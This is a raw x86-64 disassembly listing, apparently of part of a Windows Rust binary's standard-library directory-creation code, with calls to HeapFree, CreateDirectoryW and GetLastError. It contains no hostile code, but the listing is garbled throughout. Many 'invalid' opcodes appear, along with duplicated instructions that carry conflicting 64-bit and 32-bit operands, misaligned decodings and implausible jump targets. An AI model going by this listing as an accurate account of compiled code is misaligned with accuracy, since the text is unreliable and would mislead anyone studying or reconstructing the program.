mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax + 0x28c48348], dl
add byte [rax + 0x28c48348], dl
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x12f], 0
invalid
add dword [rax], eax
add byte [rax], al
jne 0x1400dc0b5
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x118]
mov rcx, qword [0x140182260]
invalid
or al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x372ab
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid
mov r8, rdx
mov rdx, rcx
lea rcx, [rbp - 0x10]
call fcn.1400d9730
mov rax, qword [rbp - 0x10]
mov rsi, qword [rbp - 8]
mov esi, dword [rbp - 8]
movabs rbx, 0x8000000000000000
cmp rax, rbx
je 0x1400dc12d
mov rcx, qword [rbp]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rsi
mov dword [rbp - 0x20], esi
mov dword [rbp - 0x20], esi
loopne 0x1400dc158
mov qword [rbp - 0x18], rcx
mov dword [rbp - 0x18], ecx
lea rcx, [rbp - 0x40]
lea ecx, [rbp - 0x40]
lea rdx, [rbp - 0x28]
call fcn.1400dae90
jo 0x1400dc10b
invalid
dec dword [rax - 0x75]
mov rdi, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x38]
jo 0x1400dc10b
cmp rdi, rbx
jne 0x1400dc139
fbstp tbyte [rbp + 0xc]
mov rax, rsi
invalid
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, rsi
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateDirectoryW]
invalid
add byte [rbp + 0x481b74c0], al
test edi, edi
test eax, eax
je 0x1400dc163
test rdi, rdi
je 0x1400dc18d
mov rcx, qword [0x140182260]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x37201
invalid
adc eax, 0x37201
xor eax, eax
jmp case.0x1400792d3.1206
invalid
shr bl, 0xcd
int 0xff
adc eax, 0x372bf
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
add eax, dword [rax]
add byte [rax - 0x3f], cl
loopne 0x1400dc18d
shl rax, 0x20
or rax, 2
test rdi, rdi
add cl, byte [rax - 0x7b]
push qword [rdx + rdi*4 + 0x48]
je case.0x1400792d3.1206
invalid
je case.0x1400792d3.1206
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or eax, 0xa60e3
or al, byte [rax]
add byte [rcx], dh
xor edx, edx
mov r8, rsi
mov rsi, rax
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400dc12d
invalid
ror byte [rcx - 0x77], cl
invalid
invalid
movabs al, byte [0xcccccccc9febc031]
int3
xor eax, eax
jmp case.0x1400792d3.1206
lahf
int3
int3
int3
int3
int3
int3
int3
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x1e8
in al, dx
call 0x1880dc1b5
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test dword [rax + 1], esp
add byte [rax], al
invalid
mov qword [rbp + 0x160], 0xfffffffffffffffe
mov dword [rbp + 0x160], 0xfffffffe
invalid
invalid
mov rbx, rdx
mov ebx, edx
ror dword [rax - 0x77], cl
iretd
mov rdi, rcx
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
lea esi, [rax + 0x48000000]
mov edx, edi
mov al, 0
add byte [rax], al
mov rdx, rdi
mov r8, rbx
call fcn.1400d7ec0
movzx eax, byte [rbp + 0xb0]
test dword [rax + 0x48000000], esi
mov al, 0
add byte [rax], al
add byte [rax - 0x75], cl
invalid
add byte [rax], al
mov rcx, qword [rbp + 0xc0]
mov ecx, dword [rbp + 0xc0]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
mov rdx, qword [rbp + 0xd0]
movzx r8d, al
lea r9, [0x1401797e4]
lea ecx, [0x1401797e4]
ror byte [rbp + rcx*4 + 0xd], 0xe6
lea ecx, [0x1401797e4]
out 0xd5, al
invalid
or dword [rax], eax
add byte [rdi + 0x63], cl
adc al, 0x81
invalid
movsxd r10, dword [r9 + r8*4]
or dword [rbp + 1], 0xd88949ca
add r10, r9
mov r8, rbx
mov eax, ebx
mov r9, rdi
jmp r10
jmp rdx
add rcx, 4
rol dword [rbx + rbp*8], 0x34
jmp 0x1400dc248
lea r8, [rdx + 1]
test rdx, rdx
test edx, edx
add dword [rax - 0x7b], ecx
test edx, edx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
cmove r8, rdx
add rcx, r8
ror dword [rax - 0x7d], 0xc1
or bl, ch
invalid
ror dword [rax - 0x7d], 0xc1
or bl, ch
and byte [rcx + 6], bh
mov ecx, 6
mov ecx, 6
add byte [rax], al
jmp 0x1400dc248
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
ror dword [rax - 0x7d], 0xc1
add ch, bl
invalid
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
ror dword [rax - 0x7d], 0xc1
add ch, bl
add eax, 0x2b9
add byte [rcx - 0x77], cl
mov ecx, 2
add al, byte [rax]
add byte [rax], al
mov r8, rbx
sub r8, rcx
sub eax, ecx
fmul dword [rcx + 0x29]
enter 0xffffffffffff820f, 0x63
invalid
add eax, 0x1480000
add byte [rax], al
add rcx, rdi
sub eax, ecx
jb 0x1400dc7b7
add byte [rax], al
add rcx, rdi
mov r9, rcx
mov ecx, ecx
test r8, r8
je 0x1400dc273
ret 0xf980
mov qword [rbp + 0x5f], rdx
movups xmm0, xmmword [rbp + 0xb1]
test dword [rcx + 0xf000000], esi
adc byte [rbp + 0xc1], cl
add byte [rax], al
test dword [rcx + 0xf000000], esi
adc byte [rbp + 0xc1], cl
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0x50], xmm1
push r8
movaps xmmword [rbp + 0x40], xmm0
test rbx, rbx
invalid
je 0x1400dc2a1
cmp al, 6
jne 0x1400dc2a9
invalid
or ch, bl
jmp 0x1400dc2c1
and byte [rbx + rax], bh
cmp al, 3
add ecx, dword [rdi]
sbb dword [rax + 0x48000002], 0xffffff8b
jae case.0x1400d8e64.146
mov rdx, qword [rbp + 0x5f]
push rbp
pop rdi
mov qword [rbp + 0x2f], rdx
movaps xmm0, xmmword [rbp + 0x40]
movaps xmm1, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x50]
sub byte [rbp + 0x50], cl
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x10], xmm0
mov rsi, rdi
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0xa8], rbx
add byte [rax - 0x77], cl
popfq
sub byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
popfq
sub byte [rcx], al
add byte [rax], al
mov byte [rbp + 0x130], al
movaps xmm0, xmmword [rbp + 0x10]
adc byte [r15], r9b
sub byte [rbp + 0x20], cl
adc byte [r15], r9b
sub byte [rbp + 0x20], cl
movups xmmword [rbp + 0x131], xmm0
adc dword [rbp + 0x131], eax
movups xmmword [rbp + 0x141], xmm1
mov rax, qword [rbp + 0x2f]
mov qword [rbp + 0x150], rax
mov word [rbp + 0x158], 0x200
add dword [rax], eax
add byte [rax], al
add cl, byte [rax + 0x15a8d]
add byte [rax - 0x39], cl
push 1
mov qword [rbp + 0x70], 0
mov byte [rbp + 0x78], 6
mov word [rbp + 0xa0], 0x200
invalid
test dword [rax], esp
invalid
add byte [rax - 0x75], cl
invalid
mov byte [rbp + 0xa2], 0
lea rcx, [rbp - 0x28]
lea ecx, [rbp - 0x28]
fmul dword [r8 - 0x73]
xchg ebp, eax
and byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
fmul dword [r8 - 0x73]
xchg ebp, eax
and byte [rcx], al
add byte [rax], al
call fcn.1400dc860
cmp byte [rbp - 0x28], 0xa
add eax, 0x7d800000
fmul dword [rdx]
je case.0x1400dbf15.35
test byte [rbx + 0x48000000], ah
lea rbx, [rbp + 0xe8]
lea ebx, [rbp + 0xe8]
call 0x18c0dc355
lea esi, [rbp - 0x60]
jne 0x1400dc2f8
lea r14, [rbp - 0x60]
jne 0x1400dc2f8
lea r15, [rbp + 0x68]
lea r12, [rbp + 0xb0]
lea r13, [rbp - 0x28]
lea ebp, [rbp - 0x28]
lea ebp, [rbp - 0x28]
lea rdi, [rbp + 0x120]
and byte [rcx], al
add byte [rax], al
nop
mov rcx, r14
int1
mov rdx, r15
mov edx, edi
call fcn.1400dc860
cmp byte [rbp - 0x60], 0xa
or cl, byte [rdi]
invalid
mov byte [rax], al
add byte [rax], al
add al, 0
add byte [rax + 0xf0aa07d], al
or cl, byte [rdi]
or cl, byte [rdi]
test byte [rax + 0x48000000], cl
mov rax, qword [rbp + 8]
mov eax, dword [rbp + 8]
or byte [rax - 0x77], cl
test eax, esp
loopne case.0x1400b36b6.949
add byte [rax], al
movups xmm0, xmmword [rbp - 0x28]
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xe0], eax
loopne case.0x1400b36b6.949
add byte [rax], al
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
movups xmm2, xmmword [rbp - 8]
push rbp
clc
push rbp
clc
movaps xmmword [rbp + 0xd0], xmm2
xchg ebp, eax
rol byte [rax], 1
add byte [rax], al
invalid
add byte [rdi], cl
sub dword [rbp + 0xc0], ecx
invalid
rol byte [rax], 0
invalid
movaps xmmword [rbp + 0xc0], xmm1
invalid
rol byte [rax], 0
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0xb0], eax
invalid
mov al, 0
add byte [rax], al
invalid
movaps xmmword [rbp + 0xb0], xmm0
test dword [rax + 0x48000000], esi
mov eax, dword [rbp - 0x30]
add byte [rax - 0x75], cl
ror byte [r8 - 0x77], 1
invalid
mov rax, qword [rbp - 0x30]
mov qword [rbx + 0x30], rax
mov dword [rbx + 0x30], eax
xor byte [r15], cl
xor byte [rdi], cl
movups xmm0, xmmword [rbp - 0x60]
adc byte [rbp - 0x60], al
movups xmm1, xmmword [rbp - 0x50]
adc byte [rbp - 0x50], cl
movups xmm2, xmmword [rbp - 0x40]
adc byte [rbp - 0x40], dl
push rbp
ror byte [rdi], 0x11
push rbx
and byte [rdi], cl
movups xmmword [rbx + 0x10], xmm1
invalid
movups xmmword [rbx + 0x20], xmm2
movups xmmword [rbx + 0x10], xmm1
invalid
adc byte [rdi], cl
adc dword [rbx], eax
movups xmmword [rbx], xmm0
mov rcx, r12
mov ecx, esp
loope case.0x1400db6bb.103
mov rdx, rbx
mov edx, ebx
invalid
call fcn.1400d8740
test al, al
inc dword [rax + rax*8 - 0x76b3d18c]
je case.0x1400db850.94
mov rcx, r13
mov ecx, ebp
jmp 0x129084d2e
mov rdx, rdi
cli
call fcn.1400dc860
add byte [rax], al
cmp byte [rbp - 0x28], 0xa
fmul dword [rdx]
or dh, byte [rbp - 0x80]
jne 0x1400dc370
or byte [rax - 0x73], 0x8d
mov al, 0
add byte [rax], al
invalid
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
lea esi, [rax + 0x48000000]
add byte [rax - 0x73], cl
push rbp
push 0x460e8
add al, 0
lea rdx, [rbp + 0x68]
lea edx, [rbp + 0x68]
call fcn.1400dc860
cmp byte [rbp + 0xb0], 0xa
add byte [rax], al
invalid
add al, 0
add byte [rax + 0xb0bd], al
add byte [rax], al
add byte [rdx], cl
or cl, byte [rdi]
je case.0x1400d8e64.146
test byte [rcx + rax], dh
add byte [rax], al
mov rdi, rsi
mov edi, esi
mov rcx, rsi
int1
mov rsi, qword [rbp + 0xa8]
mov esi, dword [rbp + 0xa8]
add byte [rax - 0x77], cl
mov rdx, rsi
call fcn.1400dc0d0
invalid
invalid
bnd call fcn.1400dc0d0
invalid
dec dword [rax - 0x77]
test dword [rax], esp
add dword [rax], eax
invalid
mov qword [rbp + 0x120], rax
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
invalid
test rax, rax
test eax, eax
je case.0x1400d8e64.146
sgdt [rax]
add byte [rax - 0x77], cl
mov rbx, rax
mov rbx, rax
and eax, 3
add ecx, dword [rax - 0x73]
lea rcx, [0x140179800]
or eax, 0x9d3c1
ror dword [rcx], cl
or dword [rax], eax
add byte [rax + 0x63], cl
add al, 0x81
invalid
movsxd rax, dword [rcx + rax*4]
invalid
or dword [rax + 1], 0xfe0ffc8
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0xf
movzx eax, byte [rbx + 0x10]
mov dh, 0x43
adc bl, ch
invalid
adc r11b, bpl
jmp case.0x1400d8b62.170
mov rcx, rbx
mov rcx, rbx
invalid
shr rcx, 0x20
call fcn.1400d6290
sahf
invalid
invalid
jmp case.0x1400d8b62.170
invalid
and al, ch
sahf
invalid
invalid
mov rax, rbx
mov eax, ebx
shr rax, 0x20
cmp eax, 0x28
clc
invalid
clc
sub byte [rdi], cl
xchg esi, eax
add al, byte [rax]
add byte [rax - 0x73], cl
lea ecx, [0x140179810]
ja 0x1400dc732
lea rcx, [0x140179810]
lea ecx, [0x140179810]
ror dword [rcx], cl
or dword [rax], eax
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
invalid
loopne case.0x1400d8e64.162
xor eax, eax
jmp case.0x1400d8b62.170
movzx eax, byte [rbx + 0xf]
je 0x188463949
test al, al
je 0x1400dc4c0
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
lea esi, [rax + 0x48000000]
mov al, 0
add byte [rax], al
mov rdx, rdi
mov edx, edi
mov r8, rsi
call fcn.1400dcbb0
invalid
add byte [rax], al
add byte [rbx + 0xb0bd], al
add byte [rdx], al
invalid
invalid
invalid
add byte [rbx + 0xb0bd], al
add byte [rdx], al
invalid
add byte [rax], al
add dh, byte [rbp + 0x6d]
jne case.0x1400d8e64.141
mov rax, qword [rbp + 0xb8]
lea rcx, [rbp + 0x70]
invalid
invalid
test dword [rax + 0x48000000], edi
mov eax, 0x48000000
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rbp + 0x70]
jo 0x1400dc4f7
mov qword [rbp + 0x70], rax
mov byte [rbp + 0x68], 1
push 0x6ec5e801
invalid
invalid
jmp 0x1400dc543
add dword [rax], 0
invalid
push 0x6ec5e801
add eax, ebp
invalid
outsb dx, byte [rsi]
invalid
invalid
add dword [rax], 0
add byte [rax - 0x73], cl
invalid
lea esp, [rax]
invalid
lea rcx, [rbp + 0x120]
lea ecx, [rbp + 0x120]
and byte [rcx], al
add byte [rax], al
add dword [rax], eax
add al, ch
call fcn.1400d3380
mov ah, 0x6e
invalid
lea rcx, [rbp + 0x120]
and byte [rcx], al
add dword [rax], eax
add byte [rax - 0x77], cl
add byte [rax], al
mov rdx, rdi
cli
mov r8, rsi
call fcn.1400d7ec0
dec dword [rdi]
mov dh, 0x95
and byte [rcx], al
add byte [rax], al
invalid
invalid
dec dword [rdi]
mov dh, 0x95
and byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
lea esi, [rax]
add dword [rax], eax
mov rcx, qword [rbp + 0x130]
mov ecx, dword [rbp + 0x130]
add byte [rax - 0x75], cl
test dword [rax + 1], eax
add byte [rax], al
invalid
mov rax, qword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
add byte [rbp + rcx*4 + 5], cl
mov edx, 0x4d0009d3
invalid
invalid
lea r8, [0x1401798b4]
lea eax, [0x1401798b4]
add byte [rbp + 0x63], cl
or al, 0x90
movsxd r9, dword [r8 + rdx*4]
invalid
add r9, r8
mov rdx, rsi
mov edx, esi
ror dword [rax - 0x77], 0xf2
mov edx, esi
mov r8, rdi
mov eax, edi
jmp r9
loope 0x1400dc553
add rcx, 4
jmp case.0x1400d8e64.165
mov edx, dword [rbp + 0xf0]
test edx, 0x400
ret 0x400
add byte [rax], al
sete al
sal bh, 0x85
hlt
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], ah
ret 0x400
sal bh, 0x85
hlt
add byte [rax], al
add byte [rax], ah
sete cl
test dl, 0x10
je 0x1400dc543
je 0x1400dc543
invalid
and byte [rcx], al
add dword [rax], eax
add al, ch
invalid
add byte [rax], al
call fcn.1400d3380
xor ebx, ebx
mov rax, rbx
mov eax, ebx
add rsp, 0x1e8
pop rbx
pop rdi
invalid
add byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
invalid
invalid
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
or bl, ch
or bl, ch
jmp case.0x1400d8e64.165
and byte [rcx + 6], bh
mov ecx, 6
add bl, ch
sbb dword [rax - 0x73], ecx
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
invalid
jmp case.0x1400d8e64.165
lea rdx, [rax + 1]
test rax, rax
test eax, eax
cmove rdx, rax
add rcx, rdx
add ecx, edx
add rcx, 2
jmp case.0x1400d8e64.165
add eax, 0x2b9
add byte [rax - 0x77], cl
mov rdx, rsi
sub rdx, rcx
mov ecx, 2
mov rdx, rsi
mov edx, esi
sub rdx, rcx
jb 0x1400dc7c6
invalid
sub al, 2
add byte [rax], al
add rcx, rdi
stc
mov r8, rcx
test rdx, rdx
je 0x1400dc5b7
adc al, byte [rcx + 0xf]
mov dh, 0
invalid
movzx eax, byte [r8]
add byte [rdi + rbp], bh
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
xchg esp, eax
ror byte [rax], 0xc8
xchg esp, eax
ror byte [rax], 0xc8
jmp case.0x1400db5fd.101
xor eax, eax
ror byte [rax - 0x77], 0xbd
mov al, 0
add byte [rax], al
invalid
mov qword [rbp + 0xb0], rdi
add byte [rax - 0x77], cl
mov ch, 0xb8
add byte [rax], al
mov qword [rbp + 0xb8], rsi
add byte [rdi], cl
adc byte [rbp + 0x120], al
invalid
movups xmm0, xmmword [rbp + 0x120]
add byte [rdi], cl
adc byte [rbp + 0x130], cl
invalid
movups xmm1, xmmword [rbp + 0x130]
add byte [rdi], cl
adc dword [rbp + 0xc0], eax
invalid
movups xmmword [rbp + 0xc0], xmm0
add byte [rdi], cl
adc dword [rbp + 0xd0], ecx
invalid
movups xmmword [rbp + 0xd0], xmm1
add byte [rax - 0x75], cl
lea eax, [rax + 1]
add byte [rax], al
invalid
mov rcx, qword [rbp + 0x140]
mov ecx, dword [rbp + 0x140]
add byte [rax - 0x77], cl
invalid
mov qword [rbp + 0xe0], rcx
add byte [rax + 0xea85], cl
add byte [rsi - 0x39], ah
invalid
invalid
test eax, ebp
add byte [rax], al
add byte [rax], al
invalid
mov byte [rbp + 0xea], al
mov word [rbp + 0xe8], 0x200
mov dword [rbp + 0xe8], 0x8d480200
add byte [rdx], al
add cl, byte [rax - 0x73]
lea rcx, [rbp + 0x68]
lea rdx, [rbp + 0xb0]
lea edx, [rbp + 0xb0]
push 0xffffffffb0958d48
add byte [rax], al
add al, ch
lea edx, [rbp + 0xb0]
xchg ebp, eax
mov al, 0
add byte [rax], al
call fcn.1400dc860
movzx eax, byte [rbp + 0x68]
invalid
push rax
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x45
push 0xc750a3c
cmp al, 0xa
jne case.0x1400db9e2.66
lea rbx, str.failed_to_create_whole_tree
sbb eax, 0x6d5f1
int1
invalid
jmp 0x1400dc543
invalid
invalid
add al, 0xfa
cmp al, 3
ja 0x1400dc618
out dx, al
movzx eax, al
mov dh, 0xc0
dec rax
enter 0xffffffffffff8348, 0xfffffffffffffff8
cmp rax, 3
jae 0x1400dc618
clc
add esi, dword [rbx - 0x1e]
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
mov al, 0
add byte [rax], al
invalid
call fcn.1400d8830
out dx, al
sar edi, 0xff
invalid
invalid
invalid
test rax, rax
sal byte [rcx + rdx*8 + 0x48], 0x89
shr eax, 0x51
push rcx
je 0x1400dc618
mov rcx, rax
call case.0x1400d7dc5.178
push rcx
sti
invalid
dec dword [rax - 0x77]
ret
push rcx
sti
invalid
dec dword [rax - 0x77]
ret
test rax, rax
test eax, eax
ror byte [rdi], 0x85
call 0x1890dc65a
invalid
invalid
invalid
invalid
jne 0x1400dc543
invalid
invalid
dec dword [rax - 0x77]
stc
mov rcx, rdi
mov ecx, edi
mov rdx, rsi
bnd call fcn.1400dc0d0
call fcn.1400dc0d0
push 0xfffffffffffffffa
cli
invalid
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0xb0], eax
test dword [rax + 0x48000000], esi
mov al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
test eax, eax
ror byte [rdi], 0x84
retf
je case.0x1400d8e64.146
test bl, cl
invalid
dec dword [rax - 0x77]
mov rbx, rax
mov ebx, eax
ret
mov rcx, rdi
mov ecx, edi
mov rdx, rsi
mov edx, esi
bnd call fcn.1400dccf0
call fcn.1400dccf0
invalid
add byte [rax + rax*8 - 0x1487bf1], al
test al, al
ror byte [rdi], 0x84
je 0x1400dc543
mov bh, 0xfe
invalid
dec dword [rax - 0x73]
lea esi, [rax - 0x17000000]
mov al, 0
add byte [rax], al
invalid
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
mov al, 0
add byte [rax], al
add cl, ch
jmp 0x1400dc53c
movsb byte [rdi], byte [rsi]
invalid
invalid
mov al, 0x25
and eax, 0xfffde5e9
push qword [rax - 0x22116dd]
mov al, 0x23
invalid
fdivp st(5)
jmp case.0x1400d8b62.170
in eax, 0xfd
invalid
mov al, 0x23
and ebp, ecx
jmp case.0x1400d8b62.170
fdivp st(5)
invalid
mov al, 0x24
and al, 0xe9
jmp case.0x1400d8b62.170
xlatb
std
invalid
mov al, 0x1b
sbb ebp, ecx
jmp case.0x1400d8b62.170
sar ch, 1
invalid
mov al, 0x22
and ch, cl
jmp case.0x1400d8b62.170
leave
std
invalid
mov al, 0x10
adc cl, ch
jmp case.0x1400d8b62.170
ret 0xfffd
invalid
mov al, 0xe
jmp case.0x1400d8b62.170
mov ebx, 0xb0fffffd
and ecx, ebp
invalid
invalid
mov al, 0x21
jmp case.0x1400d8b62.170
mov ah, 0xfd
invalid
mov al, 0xb
jmp case.0x1400d8b62.170
lodsd eax, dword [rsi]
std
invalid
mov al, 4
add al, 0xe9
jmp case.0x1400d8b62.170
cmpsb byte [rsi], byte [rdi]
std
invalid
mov al, 0x28
sub cl, ch
jmp case.0x1400d8b62.170
lahf
std
invalid
mov al, 0xc
jmp case.0x1400d8b62.170
cwde
std
invalid
mov al, 9
jmp case.0x1400d8b62.170
xchg ecx, eax
std
invalid
invalid
xchg ecx, eax
std
invalid
mov al, 0x19
jmp case.0x1400d8b62.170
mov bh, ch
invalid
mov al, 0x18
sbb cl, ch
jmp case.0x1400d8b62.170
cmp ebp, 0xffffffff
push qword [rax - 0x28316fe]
mov al, 2
invalid
jl case.0x1400dbe39.38
invalid
mov al, 2
jmp case.0x1400d8b62.170
jl case.0x1400dbe39.38
invalid
mov al, 0xf
psubsw mm6, qword [rbp - 3]
jmp case.0x1400d8b62.170
jne case.0x1400dbe39.30
invalid
mov al, 3
jmp case.0x1400d8b62.170
outsb dx, byte [rsi]
std
invalid
mov al, 7
invalid
jmp case.0x1400d8b62.170
std
invalid
mov al, 1
jmp case.0x1400d8b62.170
invalid
invalid
mov al, 0x1f
jmp case.0x1400d8b62.170
pop rcx
std
invalid
mov al, 0x11
jmp case.0x1400d8b62.170
push rdx
std
invalid
mov al, 0x29
sub ecx, ebp
jmp case.0x1400d8b62.170
std
invalid
mov al, 0x14
jmp case.0x1400d8b62.170
std
invalid
mov al, 5
jmp case.0x1400d8b62.170
cmp eax, 0xb0fffffd
adc eax, 0xfffd36e9
jmp case.0x1400d8b62.170
mov al, 0xd
invalid
invalid
std
invalid
mov al, 0x15
jmp case.0x1400d8b62.170
invalid
mov al, 0xd
jmp case.0x1400d8b62.170
invalid
mov al, 6
jmp case.0x1400d8b62.170
invalid
mov al, 0x12
jmp case.0x1400d8b62.170
and ebp, edi
invalid
push qword [rax - 0x2e516f6]
mov al, 0xa
jmp case.0x1400d8b62.170
sbb bh, ch
invalid
mov al, 8
jmp case.0x1400d8b62.170
invalid
mov al, 0x1e
jmp case.0x1400d8b62.170
invalid
invalid
invalid
mov al, 0x20
jmp case.0x1400d8b62.170
invalid
std
invalid
invalid
add eax, 0xb0fffffd
invalid
push qword [rax - 0x30116ea]
mov al, 0x16
jmp case.0x1400d8b62.170
cld
invalid
invalid
invalid
invalid
mov al, 0x27
jmp case.0x1400d8b62.170
invalid
invalid
mov al, 0x13
jmp case.0x1400d8b62.170
invalid
invalid
invalid
mov al, 0x17
jmp case.0x1400d8b62.170
invalid
cld
invalid
invalid
jmp 0xf10dc798
invalid
push qword [rax - 0x31d16e4]
mov al, 0x1c
jmp case.0x1400d8b62.170
invalid
mov al, 0x1d
jmp case.0x1400d8b62.170
mov al, 0x26
jmp case.0x1400d8b62.170
invalid
invalid
invalid
mov al, 0x1a
jmp case.0x1400d8b62.170
invalid
dec dword [rbp + rcx*4 + 5]
jb case.0x1400d7e58.224
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
call fcn.1401085a0
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
bnd call fcn.1401085a0
fild dword [rsi]
add byte [rax - 0x77], cl
bnd call fcn.1401085a0
int3
push r15
push r14
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 0xb0]
call fcn.1400d3380
invalid
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x80]
lea rcx, [rbp + 0x120]
call fcn.1400d3380
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp byte [rcx - 0x80], al
std
add ecx, dword [rdi]
test ch, cl
add al, byte [rax]
add byte [rax - 0x77], cl
xlatb
movzx eax, byte [rdx + 0x39]
cmp al, 3
sete dl
cmp r13b, al
seta cl
ror dword [rbp + rcx*4 + 0x65], 0xa9
or cl, dl
cmp byte [rdi + 0x3a], 0
movzx edx, byte [rdi + 0x10]
mov byte [rbp + 0x27], dl
movzx r15d, dl
mov rdx, qword [rdi]
mov qword [rbp + 0x18], rdx
mov rbx, qword [rdi + 8]
je 0x1400dc961
test cl, cl
jne 0x1400dcb5a
lea r14, [rbp - 0x60]
jmp 0x1400dc8ef
invalid
sbb al, 0x66
nop word cs:[rax + rax]
invalid
nop word cs:[rax + rax]
add dh, al
cmp dword [r9], r8d
mov byte [rdi + 0x39], 1
mov al, 1
cmp r13b, al
ja 0x1400dcb5a
add byte [rax], al
add byte [rax], al
cmp al, 2
jne 0x1400dca89
mov rcx, rdi
call case.0x1400d7391.69
cmp rbx, rax
jbe 0x1400dc8e0
invalid
fmul qword [rcx + rcx*4 - 0xf]
mov rcx, r14
mov rdx, rdi
call fcn.1400d8cc0
invalid
dec dword [rax - 0x77]
invalid
movzx eax, byte [rbp - 0x58]
movups xmm0, xmmword [r12]
invalid
movups xmm1, xmmword [r12 + 0x10]
and al, 0x10
movups xmm2, xmmword [r12 + 0x20]
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp], xmm2
mov rdx, qword [r12 + 0x2f]
invalid
mov qword [rbp + 0xf], rdx
push rbp
cmovs ebp, dword [rbx]
invalid
invalid
jb 0x1400dcb77
invalid
push rbp
cmovs ebp, dword [rbx]
movabs al, byte [0x894800000231820f]
or byte [r10 + r9], r15b
invalid
mov qword [rdi + 8], rcx
cmp al, 0xa
invalid
or cl, byte [rdi]
test dword [rbp + 1], esi
add byte [rax], al
jne 0x1400dcac7
mov al, 2
mov rbx, rcx
retf
add cl, byte [rax - 0x77]
retf
cmp r13b, al
jbe 0x1400dc8ef
jmp 0x1400dcb5a
test cl, cl
jne 0x1400dcb5a
add byte [rax], al
add byte [rax], al
mov r14, rbx
mov esi, ebx
jmp 0x1400dc97f
nop
mov byte [rdi + 0x39], 1
cmp dword [rcx], eax
mov al, 1
cmp r13b, al
ja 0x1400dcb5a
cmp al, 1
je 0x1400dca00
movzx eax, al
cmp eax, 2
jne 0x1400dca90
mov rcx, rdi
call case.0x1400d7391.69
cmp r14, rax
jbe 0x1400dc970
lea rcx, [rbp - 0x60]
mov rdx, rdi
cli
movabs al, byte [0xffffc318e8fa8948]
cli
call fcn.1400d8cc0
mov rbx, r14
movzx eax, byte [rbp - 0x58]
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
adc byte [rsp + 0x10], cl
adc byte [rsp + 0x10], cl
